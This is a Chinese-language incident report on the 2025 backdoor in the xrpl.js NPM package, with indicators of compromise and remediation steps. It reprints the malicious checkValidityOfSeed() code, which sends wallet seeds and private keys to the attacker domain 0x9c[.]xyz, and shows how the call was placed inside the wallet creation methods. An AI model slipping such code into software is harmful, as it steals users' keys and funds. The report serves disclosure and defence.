
1. 引言
於2025年4月21日至22日,一場針對 XRP Ledger 生態系統的重大供應鏈攻擊,通過其官方 JavaScript/TypeScript 函式庫 xrpl.js (託管於 Node Package Manager, NPM)展開。此攻擊涉及植入一個加密後門,主要目的為竊取加密貨幣錢包的私鑰、種子(Seeds)及助記詞(Mnemonics) 被入侵套件每週下載量超過14萬次,對去中心化金融(DeFi)應用程式及依賴 XRP Ledger 的機構基礎設施構成系統性風險。本報告將剖析攻擊的技術細節,評估其影響,並提出緩解策略。

2. 攻擊概述
惡意攻擊源自一個 NPM 帳戶(
mukulljangid
),該帳戶可能被入侵,用於發布五個受污染的
xrpl
套件版本:
4.2.1、4.2.2、4.2.3、4.2.4 及 2.14.2
。這些版本引入了一個隱秘函數
checkValidityOfSeed()
,通過 HTTP POST Request 將敏感錢包資料傳輸至
0x9c[.]xyz
網域。此攻擊未損害 XRP Ledger 的核心程式碼,但利用其高信任度的開發工具滲透下游應用程式。
3. 技術分析
3.1 惡意程式碼植入
攻擊者將後門嵌入函式庫的
src/index.ts
檔案中。函數
checkValidityOfSeed()
表面上用於驗證加密種子,實際上卻將其竊取至遠端伺服器:
- const validSeeds = new Set<string>([]);
- export function checkValidityOfSeed(seed: string) {
- if (validSeeds.has(seed)) return;
- validSeeds.add(seed);
- fetch("https://0x9c[.]xyz/xc", {
- method: 'POST',
- headers: { 'ad-referral': seed }
- });
- }
此函數被系統性地嵌入關鍵錢包初始化方法,包括:
-
Wallet
類別建構函數 -
deriveWallet()
-
fromEntropy()
-
fromSeed()
-
generate()
3.2 攻擊演進
攻擊者在不同版本中逐步改良技術:
-
4.2.1/4.2.2
:惡意程式碼被植入預編譯的 JavaScript 檔案(
build/xrp-latest-min.js
),繞過 TypeScript 原始碼審計(Source audits)。 -
4.2.3/4.2.4
:後門轉移至 TypeScript 原始檔案(
src/index.ts
),實現更廣泛的整合並規避靜態分析工具。
這種進展顯示攻擊者試圖在持久性與隱匿性之間取得平衡,利用 NPM 的自動化建構流程分發混淆的 Payload。
3.3 網域分析 (Domain Analysis)
竊取資料的網域
0x9c[.]xyz
在攻擊前不久註冊,缺乏歷史合法性。WHOIS 記錄顯示的辨識資訊極少,符合高級 Threat actor 常用的拋棄式基礎設施特徵。使用 HTTP(而非 HTTPS)進一步表明攻擊者優先考慮簡單性而非加密,可能是為了避免使用憑證的偵測。
3.4 程式碼執行流程
以下 Pseudocode 展示了攻擊如何整合進錢包初始化流程:
- class Wallet {
- constructor(publicKey: string, privateKey: string, opts: { seed?: string }) {
- // ...
- checkValidityOfSeed(privateKey); // 惡意呼叫
- }
- static fromSeed(seed: string) {
- checkValidityOfSeed(seed); // 惡意呼叫
- return deriveWallet(seed);
- }
- }
4. 入侵指標 (IoCs)
- 受影響版本 :4.2.1–4.2.4、2.14.2。
-
網路攻擊
:對
0x9c[.]xyz/xc
發送包含種子或金鑰的ad-referral
標頭的 HTTP POST Request。 -
程式碼痕跡
:在
src/index.ts
或編譯後的 JS 檔案中出現checkValidityOfSeed()
。
5. 緩解與修復
XRP Ledger 基金會已回應,廢除惡意版本並發布修補更新( 4.2.5 及 2.14.3 )。建議採取以下措施:
- 立即升級版本 :將被入侵版本替換為更新版本。
- 金鑰更新(Key Rotation) :假設所有受影響版本處理的金鑰均已洩露。
-
網路日誌審查
:識別與
0x9c[.]xyz
的連線並隔離受影響系統。 - 供應鏈強化 :為 NPM 帳戶實施多因素認證(MFA)並監控提交歷史(Commit histories)以防未授權變更。
6. 供應鏈安全的影響
此次攻擊凸顯開源生態系統的系統性漏洞:
- 信任濫用 :攻擊者針對高知名度的套件,利用其合法性擴大影響範圍。
- 建構流程操縱 :通過入侵 TypeScript 原始檔案,攻擊者將 NPM 的自動化建構 Pipelines 武器化,規避人工程式碼審查。
- 經濟影響 :XRP Ledger 的 DeFi 資產達8000萬美元,即便部分攻擊也可能動搖機構信任。
7. 結論
xrpl.js 供應鏈攻擊結合了社交工程與技術規避的精妙手法。雖然 XRP Ledger 的核心區塊鏈保持安全,但此事件突顯依賴驅動開發的脆弱性。未來防禦應優先考慮即時程式碼監控(例如透過基於 LLM 的系統如 Aikido Intel)、更嚴格的存取控制及去中心化的套件驗證機制。
參考資料
- Aikido Security: XRP Supply Chain Attack Analysis
- The Hacker News: Ripple's xrpl.js Backdoor
- Medium: Deep Dive into the Attack
- DL News: XRP Ledger Software Compromise
- NVD: CVE-2025-32965
- Cointelegraph: XRP Ledger Foundation Response
- Bitrue: Ripple Executive Warning
- ZyCrypto: Backdoor Analysis
- HackYourMom: Supply Chain Risks